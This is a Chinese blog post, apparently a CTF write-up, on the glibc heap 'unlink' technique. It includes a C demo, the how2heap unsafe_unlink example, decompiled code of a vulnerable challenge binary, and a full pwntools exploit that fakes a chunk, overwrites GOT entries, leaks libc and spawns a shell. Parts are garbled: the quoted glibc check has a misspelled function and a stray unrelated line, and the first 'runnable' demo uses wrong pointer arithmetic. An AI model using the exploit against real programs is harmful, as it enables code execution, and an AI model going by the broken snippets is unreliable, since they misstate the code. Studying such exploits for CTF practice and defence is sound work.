mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
864 字
2 分钟
unlink
2026-05-27
  • Glibc 会倾向于把两个不需要的内存空间合并,来避免碎片化内存
  • Unlink 操作则是把连个物理相邻的堆块合并,变成一个新的。
  • 本质目的 构建一个指向自身的 chunk
NOTE

所以在heap中申请较小的堆块可以 在一定程度上防止被Bintopchunk合并

一般来说其中的操作一般为这个流程

FD = P -> fd
BK = P -> bk
FD -> bk = BK
BK -> fd = FD

利用方式#

  • 前提:存在UAF漏洞
  • 受限使用 Use After-Free修改的堆块(P)的fd指针指向需要修改成(内存地址-12), 将bk指针修改成需要修稿的内容,进行Unlink操作,

FD = p -> fd, FD 变成了我们篡改的(内存地址 - 12) BK = p -> bk, BK 变成我们篡改的内容 (需要修改的内容) FD -> bk = BK, FD(内存地址 - 12) 的fd 也就是内存地址-12的+12变成了BK (需要修改的内容)

新版glibc 添加的防御机制#

if (__builtin_expect(FD -> bk != P || BK -> fd != P, 0))
malloc_printrtt (check_action, "corrupted double-linked list", P, AV);
rn_go(f, seed, [])
}

这里导致了原来的方法(32位)

  • FD -> bk = target_addr - 12 + 12 = target_addr
  • BK -> fd = expect_value + 8
  1. 首先我们通过覆盖,将nextchunkFD执政指向了 fakeFD,将nextchunk的BK指针指向了 fakeBK,
  2. 那么为了通过验证,我们需要 fakeFD -> bk == P <=> *(fakeBK + 12) == P fakeBK -> fd == *(fakeBK + 8) == P
  3. 当满足上述操作,可以进入 Unlink 环节,进行如下操作
  • fakeFD -> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
  • fakeBK -> fd = fakeFD <=> *(fakeBK + 8) = fakeFD
  • 如果让 fakeFD + 12fakeBK + 8 指向同一个指向P的指针,那么 *P = P - 8

这是其中的一个可运行示例

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
// 1. 分配两个 chunk
unsigned long long *chunk0 = malloc(0x80);
unsigned long long *chunk1 = malloc(0x80);
printf("chunk0 = %p\n", chunk0);
printf("chunk1 = %p\n", chunk1);
// 2. 释放 chunk0 并伪造 fd/bk
free(chunk0);
// 假设存在 UAF,可以修改 chunk0 的 fd/bk
// 这里我们模拟 UAF,直接写已释放的内存
unsigned long long *ptr = chunk0; // 指向 chunk0 的指针
// 64位:FD = ptr - 0x18, BK = ptr - 0x10
chunk0[0] = (unsigned long long)(ptr - 0x18); // fd
chunk0[1] = (unsigned long long)(ptr - 0x10); // bk
// 3. 触发 unlink(释放相邻的 chunk1)
free(chunk1);
// 4. 验证 ptr 是否被修改
printf("ptr now points to: %p\n", ptr);
// 预期输出:ptr = chunk0 - 0x18
return 0;
}
// gcc -g -no-pie -fno-stack-protector -o unsafe_unlink unsafe_unlink.c

例题 unsafe_unlink.c#

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
NOTE

设指向可 UAF 的 chunk 的指针的地址为 ptr 32位

  • 修改 fdptr - 0xC
  • 修改 bkptr - 0x8
  • 触发 unlink 后 ptr 处的指针会变成 ptr - 0x8 64位
  • 修改 fdptr - 0x18
  • 修改 bkptr - 0x10
  • 触发 unlink 后 ptr 处的指针会变成 ptr - 0x10

将程序 拖入ida 发现 如下重要函数

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+2Ch] [rbp-4h]
init();
while ( 1 )
{
while ( 1 )
{
menu();
read_0(nptr, 16);
v3 = atoi(nptr);
if ( v3 != 1 )
break;
add();
}
switch ( v3 )
{
case 3:
delete();
break;
case 2:
show();
break;
case 4:
edit();
break;
case 5:
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}
int add()
{
int n49_1; // eax
int size; // [rsp+Ch] [rbp-14h] BYREF
int n49; // [rsp+10h] [rbp-10h] BYREF
int n49_2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Give me a book ID: ");
__isoc99_scanf("%d", &n49);
printf("how long: ");
__isoc99_scanf("%d", &size);
n49_1 = n49;
if ( n49 >= 0 )
{
n49_1 = n49;
if ( n49 <= 49 )
{
if ( size < 0 || *(&chunk + n49) )
{
return puts("too large!");
}
else
{
n49_2 = n49;
*(&chunk + n49_2) = malloc(size);
::size[n49_2] = size;
return puts("Done!\n");
}
}
}
return n49_1;
}
__int64 delete()
{
signed int n0x32; // [rsp+0h] [rbp-10h] BYREF
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
n0x32 = 0;
puts("Which one to throw?");
__isoc99_scanf("%d", &n0x32);
if ( (unsigned int)n0x32 <= 0x32 )
{
if ( *(&chunk + n0x32) )
{
free(*(&chunk + n0x32));
*(&chunk + n0x32) = 0;
return (unsigned int)puts("Done!\n");
}
}
else
{
return (unsigned int)puts("Wrong!\n");
}
return v2;
}
int edit()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD n16[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&n16[1] = __readfsqword(0x28u);
printf("Which book to write?");
__isoc99_scanf("%d", &v1);
printf("how big?");
__isoc99_scanf("%d", n16);
if ( *(&chunk + v1) )
{
printf("Content: ");
read_0(*(&chunk + v1), n16[0]);
}
return puts("Done!\n");
}

其中 show 函数是一个假函数,所以这个程序不存在输出函数, delete 是一个正常的释放堆块函数会将释放后指针置0, add 是创建堆块的函数,可以创建任意大小的堆块,同时 edit 写入堆块,其中edit 存在堆溢出

由于程序没有开 pie,且 got 表可写,同时 glibc 版本为 2.23, 保护较为简单 所以可以通过堆溢出来进行 unlink。

所以尝试如下攻击步骤:

  1. 布置堆布局
  2. 在chunk0 中伪造chunk, 写入内存布局
  3. 触发Unlink
  4. 劫持 chunk 执政数组
  5. 泄露 libc 地址 计算出system 地址
  6. 覆盖 got 表,获得shell

exp 如下#

from pwn import *
file = "./uunlink_patched"
libcf = "./libc-2.23.so"
host = "127.0.0.1"
port = 1234
is_remote = False
context.log_level = "debug"
context.binary = file
if is_remote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
libc = ELF(libcf)
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.sym["puts"]
def menu(index: int):
global p
p.recvuntil(b"Your choice: ")
p.sendline(str(index).encode())
def malloc(id: int, size: int):
global p
menu(1)
p.recvuntil(b"Give me a book ID: ")
p.sendline(str(id).encode())
p.recvuntil(b"how long: ")
p.sendline(str(size).encode())
def free(index: int):
global p
menu(3)
p.recvuntil("Which one to throw?")
p.sendline(str(index).encode())
def edit(index: int, size: int, content: bytes):
global p
menu(4)
p.recvuntil(b"Which book to write?")
p.sendline(str(index).encode())
p.recvuntil(b"how big?")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.sendline(content)
malloc(0,0x30) # chunk id size
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)
fake_fd = 0x00602300 - 0x18
fake_bk = 0x00602300 - 0x10
payload = flat(
{
0x0: [
p64(0), p64(0x31),
p64(fake_fd), p64(fake_bk),
p64(0), p64(0),
p64(0x30), p64(0x100)
]
},
filler = b"\x00"
)
edit(0, 0x60, payload)
free(1)
payload = flat(
{
0x18: [
p64(atoi_got),
p64(atoi_got),
p64(free_got)
]
},
filler = b"\x00"
)
edit(0, 0x60, payload)
raw_input(f"pwndbg -p {p.pid}")
edit(2,0x10,p64(puts_plt))
free(0)
p.recv(1)
leak_addr = u64(p.recv(6).ljust(8, b"\x00")) - libc.sym["atoi"]
log.success(f"libc base: {hex(leak_addr)}")
libc.address = leak_addr
system_addr = libc.sym["system"]
edit(1, 0x10, p64(system_addr))
p.recvuntil(b"Your choice: ")
p.sendline(b"/bin/sh\x00")

常见堆块的结构#

glibc 的源代码中, malloc_chunk 的结构定义如下,无论是哪种Bin,空闲chunk 都用这个结构表示

struct malloc_chunk {
size_t mchunk_prev_size;
size_t mchunk_size;
struct malloc_chunk* fd; // 前向指针,指向同 bin 中的下一个空闲块
struct malloc_chunk* bk; // 后向指针,指向上一个空闲块
// 后面可能还有 fd_nextsize, bk_nextsize(仅 large bin 使用)
};
字段说明
prev_size8 字节。如果前一个物理相邻的堆块是空闲的 ,则该字段记录前一个块的大小;否则被前一个块的数据复用(用于存放用户数据)。
size8 字节。记录当前块的总大小(包括头部和用户数据),按 8 或 16 字节对齐。低 3 位是标志位:-`A`(bit 2):非主分配区标志-M(bit 1):通过 mmap 分配“-P(bit 0):前一个块是否在使用中(1=在用,0=空闲)
用户数据区size字段之后开始,返回给用户使用的内存区域。

已分配块不维护 fdbk 指针,这部分空间完全被用户数据占用,以提高内存利用率。

地址低位
+-------------------+ <--- chunk 起始指针
| prev_size | } 固定头部 (16 字节)
+-------------------+
| size (含标志位) |
+-------------------+ <--- 用户数据区起始
| |
| 用户数据 / |
| 空闲时: fd, bk |
| |
+-------------------+
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

unlink
https://yoyolp.github.io/posts/heap/unlink/
作者
超级玉米人
发布于
2026-05-27
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录